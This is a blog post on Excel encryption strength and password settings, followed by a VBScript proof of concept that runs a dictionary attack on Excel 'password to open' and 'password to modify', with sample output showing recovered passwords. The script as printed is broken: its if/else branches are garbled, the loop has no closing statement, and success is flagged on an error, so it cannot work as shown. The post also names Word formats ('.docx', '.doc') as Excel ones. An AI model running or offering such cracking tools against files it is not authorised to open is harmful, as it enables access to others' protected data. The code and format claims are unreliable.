A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

Dictionary Attack on Excel Passwords




When thinking about the security of encrypted Excel documents, I found a great article analyzing security of encryption algorithms for Excel spreadsheets. The bottom line is that:

  • Encryption in Excel 2007 IS secure only for “.docx”. For “.doc” it’s NOT secure with default settings.
  • Encryption in Excel 2002 and 2003 IS secure, but NOT when used with default settings!
  • Encryption in Excel 95, 97 and 2000 is NOT secure at all :)

Instructions on how to make sure you’re using the most secure algorithms and how to change the default settings in the referenced link. Another good reference on Excel 2007 Encryption Strength is this discussion.

Setting password to open/modify

Changing/removing the password to open a file is pretty straight-forward in Excel 2007-2010: File menu->Info->Encrypt with password. I found that changing the password to modify is not so straight-forward. To set/remove a “read-only” password, from the Save or Save As dialog boxes, select General Options from the Tools drop-down menu to open the General Options dialog box. There, in the Password to modify box, you can enter the new password or blank to remove the current one.

Dictionary attack

If the password is a dictionary word, then it’s pretty easy to find it. I’ve made a small Visual Basic script to attack these 2 passwords (password to open and password to modify) using words from a dictionary file. I’ve used VB because it already had support for opening Excel and for passwords. It’s good enough for a PoC. This could also be extended to something like the rules in jtr to intelligently guess/brute-force passwords, possibly based on the very efficient KoreLogic John rules.

Currently it’s just a proof of concept, and it’s very slow, but it could be extended to use more threads or optimized:

' *****************************************************************
' Dictionary attack on Excel passwords
' Uses method and a password dictionary to test:
' 1) password to open 
' 2) password for write access, using open password
' Usage: "CScript excel-pw-attack.vbs <test .xls=""> <words .dic="">"
' Full Description:
' *****************************************************************
Option Explicit
On Error Resume Next
Dim objExcel
Set objExcel = WScript.CreateObject("Excel.Application")
Dim args
if WScript.Arguments.Count < 2 or WScript.Arguments.Count > 3 then
   WScript.Echo "Usage: "
   WScript.Echo "Search password for open: "
   WScript.Echo "   CScript " & WScript.ScriptName & " <excel file=""> <dictionary file="">"
   WScript.Echo "Search password for modify, using password to open: "
   WScript.Echo "   CScript " & WScript.ScriptName & " <excel file=""> <dictionary file=""> <open password="">"
   WScript.Quit 1
end if
' Excel file should be in the script's directory
Dim xlsFile, currentPath
currentPath = replace(WScript.ScriptFullName, WScript.ScriptName, "")
xlsFile = currentPath & WScript.Arguments(0)
WScript.Echo "Brute-forcing excel file: " & xlsFile
WScript.Echo "Using dictionary file: " & WScript.Arguments(1)
if WScript.Arguments.Count = 3 then
 WScript.Echo "Using open password " & WScript.Arguments(2) & " to get the write password"
end if
' Read the passwords from the dictionary file
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
Dim objFile
Const ForReading = 1
Set objFile = objFSO.OpenTextFile(currentPath & WScript.Arguments(1), ForReading)
Dim currLine, bFound
bFound = False
While Not bFound And Not objFile.AtEndOfStream
 currLine = objFile.ReadLine
 WScript.Echo "[*] Testing solution " & currLine
 if WScript.Arguments.Count = 3 then
  objExcel.Workbooks.Open xlsFile, , , , WScript.Arguments(2), currLine
  ' Try to open it in read-only mode
  objExcel.Workbooks.Open xlsFile, ,True , , currLine
 end if
 if Err.Number >  0 then
  'WScript.Echo Err.Description & Err.Number
  bFound = True
  if WScript.Arguments.Count = 3 then
   WScript.Echo "[+] Found password for modifying: " & currLine
   WScript.Echo "[+] Found password for opening: " & currLine
  end if
 end If
if not bFound then
 if WScript.Arguments.Count = 3 then
  WScript.Echo "[-] Not found password for modifying."
  WScript.Echo "[-] Not found password for opening."
 end if
end if


An example of how to use it on a test document with these 2 passwords set:

1. Find password to open:

> cscript excel-pw-attack.vbs test.xls words_en.txt
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
[+] Found password for opening: rock

2. Find password to modify:

>cscript excel-pw-attack.vbs test.xls words_en.txt rock
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
Using open password rock to get the write password
[+] Found password for modifying: paper